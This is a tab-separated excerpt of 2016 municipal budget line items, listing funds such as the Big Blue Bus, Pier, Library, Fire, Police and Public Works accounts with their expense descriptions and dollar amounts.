18548	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	522041.0	FIRE AND THEFT INSURANCE		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18549	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522720.0	MILEAGE	816.0	 Supplies and Expenses	2016	312	0	0	0	0	0	0	0	0	0	0	0	312
18550	BA	IS	1	General Fund	310	FIRE	315	TRAINING	555210.0	TRAINING	806.0	 Supplies and Expenses	2016	171668	0	0	0	0	0	0	0	0	0	0	0	171668
18551	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	27486	0	0	0	0	0	0	0	0	0	0	0	27486
18552	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2016	10643	0	0	0	0	0	0	0	0	0	0	0	10643
18553	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2016	97947	0	0	0	0	0	0	0	0	0	0	0	97947
18554	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2016	21420	0	0	0	0	0	0	0	0	0	0	0	21420
18555	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2016	54918	0	0	0	0	0	0	0	0	0	0	0	54918
18556	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2016	648453	0	0	0	0	0	0	0	0	0	0	0	648453
18557	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511030.0	DIVE PAY		Salaries and Wages	2016	18900	0	0	0	0	0	0	0	0	0	0	0	18900
18558	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2016	30643	0	0	0	0	0	0	0	0	0	0	0	30643
18559	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544120.0	PERIODICALS	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18560	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555011.0	OUTSIDE REPAIRS - BUSES		 Supplies and Expenses	2016	1345656	0	0	0	0	0	0	0	0	0	0	0	1345656
18561	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555012.0	OUTSIDE REPAIRS - SERVICE VEHC		 Supplies and Expenses	2016	78831	0	0	0	0	0	0	0	0	0	0	0	78831
18562	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	1062727	0	0	0	0	0	0	0	0	0	0	0	1062727
18563	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	16943001	0	0	0	0	0	0	0	0	0	0	0	16943001
18564	BA	IS	1	General Fund	310	FIRE	315	TRAINING	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2016	326	0	0	0	0	0	0	0	0	0	0	0	326
18565	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2016	1086	0	0	0	0	0	0	0	0	0	0	0	1086
18566	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2016	24711	0	0	0	0	0	0	0	0	0	0	0	24711
18567	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	26040	0	0	0	0	0	0	0	0	0	0	0	26040
18568	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2016	969551	0	0	0	0	0	0	0	0	0	0	0	969551
18569	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522110.0	UTIL - LIGHT / POWER	812.0	 Supplies and Expenses	2016	327394	0	0	0	0	0	0	0	0	0	0	0	327394
18570	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522130.0	UTILITIES - WATER	812.0	 Supplies and Expenses	2016	56435	0	0	0	0	0	0	0	0	0	0	0	56435
18571	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	566870.0	HORSE PATROL	806.0	 Supplies and Expenses	2016	17393	0	0	0	0	0	0	0	0	0	0	0	17393
18572	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2016	1064	0	0	0	0	0	0	0	0	0	0	0	1064
18573	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511510.0	CROSSING GUARDS	806.0	Salaries and Wages	2016	451878	0	0	0	0	0	0	0	0	0	0	0	451878
18574	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2016	21000	0	0	0	0	0	0	0	0	0	0	0	21000
18575	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2016	5567	0	0	0	0	0	0	0	0	0	0	0	5567
18576	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2016	2661	0	0	0	0	0	0	0	0	0	0	0	2661
18577	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2016	33231	0	0	0	0	0	0	0	0	0	0	0	33231
18578	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522930.0	VEHICLES - TIRES / TUBES	806.0	 Supplies and Expenses	2016	546	0	0	0	0	0	0	0	0	0	0	0	546
18579	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	588080.0	OFFICE EQUIPMENT	806.0	 Supplies and Expenses	2016	13802	0	0	0	0	0	0	0	0	0	0	0	13802
18580	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2016	45670	0	0	0	0	0	0	0	0	0	0	0	45670
18581	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533160.0	PHOTO EQUIPMENT MAINTENANCE	806.0	 Supplies and Expenses	2016	2079	0	0	0	0	0	0	0	0	0	0	0	2079
18582	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2016	4920	0	0	0	0	0	0	0	0	0	0	0	4920
18583	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533140.0	BOAT MAINTENANCE / OPERATION		 Supplies and Expenses	2016	24370	0	0	0	0	0	0	0	0	0	0	0	24370
18584	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511490.0	OVERTIME	806.0	Salaries and Wages	2016	6198	0	0	0	0	0	0	0	0	0	0	0	6198
18585	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588050.0	FIRE SUPPRESSION EQUIPMENT	806.0	 Supplies and Expenses	2016	41253	0	0	0	0	0	0	0	0	0	0	0	41253
18586	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2016	1931429	0	0	0	0	0	0	0	0	0	0	0	1931429
18587	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2016	4965	0	0	0	0	0	0	0	0	0	0	0	4965
18588	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2016	5429	0	0	0	0	0	0	0	0	0	0	0	5429
18589	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	3689792	0	0	0	0	0	0	0	0	0	0	0	3689792
18590	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
18591	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	522042.0	RECOVERIES OF PHYSICAL DAMAGE		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18592	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2016	301764	0	0	0	0	0	0	0	0	0	0	0	301764
18593	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	41431	0	0	0	0	0	0	0	0	0	0	0	41431
18594	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
18595	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588200.0	BLDG RENOVATION / MAINTENANCE	808.0	 Supplies and Expenses	2016	40000	0	0	0	0	0	0	0	0	0	0	0	40000
18596	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18597	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544110.0	PRINTED FORMS	808.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18598	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511490.0	OVERTIME	808.0	Salaries and Wages	2016	10188	0	0	0	0	0	0	0	0	0	0	0	10188
18599	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	21025	0	0	0	0	0	0	0	0	0	0	0	21025
18600	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2016	16334	0	0	0	0	0	0	0	0	0	0	0	16334
18601	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2016	13092	0	0	0	0	0	0	0	0	0	0	0	13092
18602	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511490.0	OVERTIME	840.0	Salaries and Wages	2016	143609	0	0	0	0	0	0	0	0	0	0	0	143609
18603	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2016	97200	0	0	0	0	0	0	0	0	0	0	0	97200
18604	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	404760.0	RENT/PROP FEES - KEC	618.0	Rentals	2016	-4600	0	0	0	0	0	0	0	0	0	0	0	-4600
18605	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511490.0	OVERTIME	812.0	Salaries and Wages	2016	1021	0	0	0	0	0	0	0	0	0	0	0	1021
18606	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2016	231138	0	0	0	0	0	0	0	0	0	0	0	231138
18607	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522120.0	UTILITIES - NATURAL GAS	812.0	 Supplies and Expenses	2016	11000	0	0	0	0	0	0	0	0	0	0	0	11000
18608	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	4560	0	0	0	0	0	0	0	0	0	0	0	4560
18609	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	2850	0	0	0	0	0	0	0	0	0	0	0	2850
18610	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2016	8590	0	0	0	0	0	0	0	0	0	0	0	8590
18611	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2016	285	0	0	0	0	0	0	0	0	0	0	0	285
18612	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522610.0	EQUIPMENT RENTAL	812.0	 Supplies and Expenses	2016	55000	0	0	0	0	0	0	0	0	0	0	0	55000
18613	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544120.0	PERIODICALS	812.0	 Supplies and Expenses	2016	84000	0	0	0	0	0	0	0	0	0	0	0	84000
18614	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2016	165825	0	0	0	0	0	0	0	0	0	0	0	165825
18615	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2016	522580	0	0	0	0	0	0	0	0	0	0	0	522580
18616	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2016	284345	0	0	0	0	0	0	0	0	0	0	0	284345
18617	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	39336	0	0	0	0	0	0	0	0	0	0	0	39336
18618	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	430875	0	0	0	0	0	0	0	0	0	0	0	430875
18619	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2016	5593	0	0	0	0	0	0	0	0	0	0	0	5593
18620	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2016	226	0	0	0	0	0	0	0	0	0	0	0	226
18621	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	1995	0	0	0	0	0	0	0	0	0	0	0	1995
18622	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522320.0	METERED POSTAGE	812.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
18623	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2016	95	0	0	0	0	0	0	0	0	0	0	0	95
18624	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522820.0	CONFERENCES/MEETINGS/TRAVEL	812.0	 Supplies and Expenses	2016	19000	0	0	0	0	0	0	0	0	0	0	0	19000
18625	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2016	167149	0	0	0	0	0	0	0	0	0	0	0	167149
18626	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	6731	0	0	0	0	0	0	0	0	0	0	0	6731
18627	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	108353	0	0	0	0	0	0	0	0	0	0	0	108353
18628	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2016	44007	0	0	0	0	0	0	0	0	0	0	0	44007
18629	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2016	4965	0	0	0	0	0	0	0	0	0	0	0	4965
18630	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511490.0	OVERTIME	806.0	Salaries and Wages	2016	39151	0	0	0	0	0	0	0	0	0	0	0	39151
18631	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2016	3120	0	0	0	0	0	0	0	0	0	0	0	3120
18632	BA	IS	1	General Fund	310	FIRE	315	TRAINING	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2016	14113	0	0	0	0	0	0	0	0	0	0	0	14113
18633	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2016	100104	0	0	0	0	0	0	0	0	0	0	0	100104
18634	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2016	361056	0	0	0	0	0	0	0	0	0	0	0	361056
18635	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522130.0	UTILITIES - WATER		 Supplies and Expenses	2016	50907	0	0	0	0	0	0	0	0	0	0	0	50907
18636	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401220.0	REC-PARK BUILDING RENTAL	618.0	Rentals	2016	-156400	0	0	0	0	0	0	0	0	0	0	0	-156400
18637	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511730.0	WORKERS' COMP INSURANCE	812.0	Salaries and Wages	2016	79506	0	0	0	0	0	0	0	0	0	0	0	79506
18638	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	22614	0	0	0	0	0	0	0	0	0	0	0	22614
18639	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	2755	0	0	0	0	0	0	0	0	0	0	0	2755
18640	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	2755	0	0	0	0	0	0	0	0	0	0	0	2755
18641	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522720.0	MILEAGE	812.0	 Supplies and Expenses	2016	1100	0	0	0	0	0	0	0	0	0	0	0	1100
18642	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522910.0	VEHICLES - FUELS / LUBRICATION	812.0	 Supplies and Expenses	2016	1142	0	0	0	0	0	0	0	0	0	0	0	1142
18643	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	27265	0	0	0	0	0	0	0	0	0	0	0	27265
18644	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2016	3135	0	0	0	0	0	0	0	0	0	0	0	3135
18645	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2016	95	0	0	0	0	0	0	0	0	0	0	0	95
18646	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544070.0	NON-PRINT RESOURCES	812.0	 Supplies and Expenses	2016	208000	0	0	0	0	0	0	0	0	0	0	0	208000
18647	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2016	11220	0	0	0	0	0	0	0	0	0	0	0	11220
18648	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	2475157	0	0	0	0	0	0	0	0	0	0	0	2475157
18649	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522624.0	JOINT FACILITIES RENT		 Supplies and Expenses	2016	17850	0	0	0	0	0	0	0	0	0	0	0	17850
18650	BA	IS	1	General Fund	310	FIRE	315	TRAINING	588090.0	FURNITURE & FURNISHINGS	806.0	 Supplies and Expenses	2016	7796	0	0	0	0	0	0	0	0	0	0	0	7796
18651	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511690.0	OUTSIDE TEMP AGENCY EMPLOYEES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18652	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18653	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2016	131408	0	0	0	0	0	0	0	0	0	0	0	131408
18654	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2016	113416	0	0	0	0	0	0	0	0	0	0	0	113416
18655	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	3990	0	0	0	0	0	0	0	0	0	0	0	3990
18656	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	2850	0	0	0	0	0	0	0	0	0	0	0	2850
18657	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2016	4845	0	0	0	0	0	0	0	0	0	0	0	4845
18658	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2016	760	0	0	0	0	0	0	0	0	0	0	0	760
18659	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	76930	0	0	0	0	0	0	0	0	0	0	0	76930
18660	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	285	0	0	0	0	0	0	0	0	0	0	0	285
18661	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	1695	0	0	0	0	0	0	0	0	0	0	0	1695
18662	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588200.0	BLDG RENOVATION / MAINTENANCE	806.0	 Supplies and Expenses	2016	28226	0	0	0	0	0	0	0	0	0	0	0	28226
18663	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18664	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577062.0	OTHER TRAFFIC EXPENSES		 Supplies and Expenses	2016	10200	0	0	0	0	0	0	0	0	0	0	0	10200
18665	BA	IS	1	General Fund	310	FIRE	315	TRAINING	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2016	25821	0	0	0	0	0	0	0	0	0	0	0	25821
18666	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	87751	0	0	0	0	0	0	0	0	0	0	0	87751
18667	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522500.0	BOARDS AND COMMISSIONS	812.0	 Supplies and Expenses	2016	1200	0	0	0	0	0	0	0	0	0	0	0	1200
18668	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2016	533380	0	0	0	0	0	0	0	0	0	0	0	533380
18669	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533120.0	SPECIAL EQUIP MAINT	846.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18670	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555030.0	EMPLOYEE MEDICAL EXAMS	844.0	 Supplies and Expenses	2016	4153	0	0	0	0	0	0	0	0	0	0	0	4153
18671	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	566060.0	INTEREST EXPENSE	866.0	 Supplies and Expenses	2016	6230	0	0	0	0	0	0	0	0	0	0	0	6230
18672	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566820.0	SMMUSD JOINT USE AGREEMENT	810.0	 Supplies and Expenses	2016	8832701	0	0	0	0	0	0	0	0	0	0	0	8832701
18673	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2016	-223313	0	0	0	0	0	0	0	0	0	0	0	-223313
18674	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577760.0	CDBG REIMB-HOUSING & ECON DEV	908.0	 Supplies and Expenses	2016	-85000	0	0	0	0	0	0	0	0	0	0	0	-85000
18675	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	910.0	 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
18676	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	910.0	 Supplies and Expenses	2016	80455	0	0	0	0	0	0	0	0	0	0	0	80455
18677	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC		 Supplies and Expenses	2016	-32638	0	0	0	0	0	0	0	0	0	0	0	-32638
18678	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2016	756065	0	0	0	0	0	0	0	0	0	0	0	756065
18679	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2016	1051293	0	0	0	0	0	0	0	0	0	0	0	1051293
18680	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2016	60000	0	0	0	0	0	0	0	0	0	0	0	60000
18681	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	795140	0	0	0	0	0	0	0	0	0	0	0	795140
18682	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2016	1100	0	0	0	0	0	0	0	0	0	0	0	1100
18683	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	9200	0	0	0	0	0	0	0	0	0	0	0	9200
